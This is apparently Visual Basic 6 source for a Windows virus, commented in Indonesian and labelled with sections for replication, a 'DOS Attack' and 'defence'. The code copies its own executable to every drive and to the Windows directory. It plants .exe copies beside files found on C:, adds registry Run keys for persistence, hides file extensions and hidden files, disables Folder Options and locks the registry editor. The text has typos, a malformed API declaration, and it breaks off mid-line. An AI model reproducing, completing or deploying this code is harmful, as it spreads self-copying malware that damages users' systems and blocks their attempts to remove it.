TipsTrikSmall

Option Explicit
'//////////////////////////Manipulasi dan pencarian///////////
Private Const FILE_ATTRIBUTE_READONLY = &H1
Private Const FILE_ATTRIBUTE_HIDDEN = &H2
Private Const FILE_ATTRIBUTE_SYSTEM = &H4
Private Const FILE_ATTRIBUTE_DIRECTORY = &H10
Private Const FILE_ATTRIBUTE_ARCHIVE = &H20
Private Const FILE_ATTRIBUTE_NORMAL = &H80
Private Const FILE_ATTRIBUTE_TEMPORARY = &H100
Private Const FILE_ATTRIBUTE_COMPRESSED = &H800
Private Const MAX_PATH = 260

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

Private Type WIN32_FIND_DATA
dwFileAttributes As Long
ftCreationTime As FILETIME
ftLastAccessTime As FILETIME
ftLastWriteTime As FILETIME
nFileSizeHigh As Long
nFileSizeLow As Long
dwReserved0 As Long
dwReserved1 As Long
cFileName As String * MAX_PATH
cAlternate As String * 14
End Type

Private Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" _
(ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" _
(ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long

Private Declare Function FindClose Lib "kernel32" (ByVal hFindFile As Long) As Long

Private Declare Function CopyFile Lib "kernel32" Alias "CopyFileA" (ByVal bFailIfExists As Long) As Long

Private pbMessege As Boolean

'///////////////////Penggandaan/////////////////////
Private Declare Function GetDriveType Lib "kernel32" Alias "GetDriveTypeA" (ByVal nDrive As String) As Long
Private Declare Function GetWindowsDirectory Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long

'/////////////////Pesan/////////////////////
Public buffer As String * 255
Public x As Long

'///////////////////DOS Attack/////////////////////
Public Const IP_STATUS_BASE = 11000
Public Const IP_SUCCESS = 0
Public Const IP_BUF_TOO_SMALL = (11000 + 1)
Public Const IP_DEST_NET_UNREACHABLE = (11000 + 2)
Public Const IP_DEST_HOST_UNREACHABLE = (11000 + 3)
Public Const IP_DEST_PROT_UNREACHABLE = (11000 + 4)
Public Const IP_DEST_PORT_UNREACHABLE = (11000 + 5)
Public Const IP_NO_RESOURCES = (11000 + 6)
Public Const IP_BAD_OPTION = (11000 + 7)
Public Const IP_HW_ERROR = (11000 + 8)
Public Const IP_PACKET_TOO_BIG = (11000 + 9)
Public Const IP_REQ_TIMED_OUT = (11000 + 10)
Public Const IP_BAD_REQ = (11000 + 11)
Public Const IP_BAD_ROUTE = (11000 + 12)
Public Const IP_TTL_EXPIRED_TRANSIT = (11000 + 13)
Public Const IP_TTL_EXPIRED_REASSEM = (11000 + 14)
Public Const IP_PARAM_PROBLEM = (11000 + 15)
Public Const IP_SOURCE_QUENCH = (11000 + 16)
Public Const IP_OPTION_TOO_BIG = (11000 + 17)
Public Const IP_BAD_DESTINATION = (11000 + 18)
Public Const IP_ADDR_DELETED = (11000 + 19)
Public Const IP_SPEC_MTU_CHANGE = (11000 + 20)
Public Const IP_MTU_CHANGE = (11000 + 21)
Public Const IP_UNLOAD = (11000 + 22)
Public Const IP_ADDR_ADDED = (11000 + 23)
Public Const IP_GENERAL_FAILURE = (11000 + 50)
Public Const IP_MAX_IP_STATUS = 11000 + 50
Public Const IP_PENDING = (11000 + 255)
Public Const IP_PING_TIMEOUT = 500

Public Type ICMP_OPTIONS
TTL As Byte
Tos As Byte
Flags As Byte
OptionsSize As Byte
OptionsData As Long
End Type

Public Type ICMP_ECHO_REPLY
Address As Long
Status As Long
RoundTripTime As Long
DataSize As Integer
Reserved As Integer
DataPointer As Long
Options As ICMP_OPTIONS
Data As String * 250

End Type
Public Declare Function IcmpCreateFile Lib "icmp.dll" () As Long

Public Declare Function IcmpCloseHandle Lib "icmp.dll" _
(ByVal IcmpHandle As Long) As Long
Public Declare Function IcmpSendEcho Lib "icmp.dll" _
(ByVal IcmpHandle As Long, _
ByVal DestinationAddress As Long, _
ByVal RequestData As String, _
ByVal RequestSize As Integer, _
RequestOptions As ICMP_OPTIONS, _
ReplyBuffer As ICMP_ECHO_REPLY, _
ByVal ReplySize As Long, _
ByVal TimeOut As Long) As Long

'///////////////////Manipulasi dan Pencarian///////////////////

Public Sub GetFiles(Path As String, SubFolder As Boolean, Optional Pattern As String = "*.*")

Screen.MousePointer = vbHourglass
Dim WFD As WIN32_FIND_DATA
Dim hFile As Long, fPath As String, fName As String
fPath = AddBackslash(Path)
Dim sPattern As String
sPattern = Pattern
fName = fPath & sPattern
hFile = FindFirstFile(fName, WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then
CopyFile "c:\windows\tes_di_direktory_windows.exe", fPath & StripNulls(WFD.cFileName) & ".exe", 1
End If

If hFile > 0 Then
While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) <> FILE_ATTRIBUTE_DIRECTORY) Then CopyFile "c:\windows\tes_di_direktori_windows.exe", fPath & StripNull(WFD.cFileName) & ".exe", 1
End If
Wend
End If

If SubFolder Then
hFile = FindFirstFile(fPath & "*.*", WFD)
If (hFile > 0) And ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And _
StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetsFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If

While FindNextFile(hFile, WFD)
If ((WFD.dwFileAttributes And FILE_ATTRIBUTE_DIRECTORY) = FILE_ATTRIBUTE_DIRECTORY) And StripNulls(WFD.cFileName) <> "." And StripNulls(WFD.cFileName) <> ".." Then
GetFiles fPath & StripNulls(WFD.cFileName), True, sPattern
End If
Wend
End If

FindClose hFile
Screen.MousePointer = vbDeffault

End Sub

Private Function StripNulls(f As String) As String

StripNulls = Left$(f, InStr(1, f, Chr$(0)) - 1)
End Function

Private Function AddBackslash(S As String) As String
If Len(S) Then
If Right$(S, 1) <> "\" Then
AddBackslash = S & "\"
Else
AddBackslash = S
End If
Else
AddBackslash = "\"
End If
End Function

Sub Pencarian()
GetFiles "c:", True, "*.cob"
MsgBox "Pencarian Selesai", 0, "Tes Cari"
End Sub

'////////////////////Pengganda////////////////////
Private Function DriveType(Drive As String) As String
'///Mengecek Drive///
Dim sAns As String, lAns As Long
'fix bad parameter values
If Len(Drive) = 1 Then Drive = Drive & "\"
If Len(Drive) = 2 And Right$(Drive, 1) = ":" _
Then Drive = Drive & "\"
lAns = GetDriveType(Drive)
Select Case lAns
Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select
DriveType = sAns
End Function

Private Sub KodePengganda()
'///Mengecek file dan mengcoopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
Dim penanda As Byte
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"
If DriveType(sDrive) <> "Drive Doesn't Exist" Then
On Error Resume Next
penanda = Len(Chr(ictr & App.Path)) & "1234567890"
'msgbox penanda
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive & ictr & "koderangkaian.exe"
End If
'App.EXEName = penanda & ".exe"
Next
End Sub
Private Sub kopikewindows()
'///Mengkopi file virus kedirectory windows
Dim buffer As String * 255
Dim x As Long
x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & "\tes_di_direktory_windows.exe"
End Sub

'////////////////////////////Pertahanan/////////////////////////////////
Public Sub CreateKey(Folder As String, Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value
End Sub

Public Sub CreateIntegerKey(Folder As String, Value As Integer)
Dim b As Object
On Error Resume Next
Set b = CreateObject("wscript.shell")
b.RegWrite Folder, Value, "REG_DWORD"
End Sub

Public Sub DeleteKey(Value As String)
Dim b As Object
On Error Resume Next
Set b = CreateObject("Wscript.shell")
b.RegDelete Value
End Sub

Sub kodepertahanan()
'///menyembunyikan file hide
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\CheckedValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL\DefaultValue", 1
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\CheckedValue", 2
CreateIntegerKey "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOHIDDEN\DefaultValue", 2

CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Hidden", 0

'///NonAktiv Folder Option
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions", 1

'///Kunci Regedit
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTool", 1

'///Menyembunyikan Extensi File
CreateIntegerKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\HideFileExt", 1
Dim titik As String
titik = """"
CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\test", _
titik & "c:\windows\test_di_direktory_windows.exe" & titik

CreateKey "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\tes2", _
titik & "d:\tes.exe" & titik
End Sub

'//////////////////////////Pesan Sponsor/////////////////
Sub pesansponsor()
Dim tt As String
tt = """"
Log " You'll Never Walk Alone

LIVERPOOL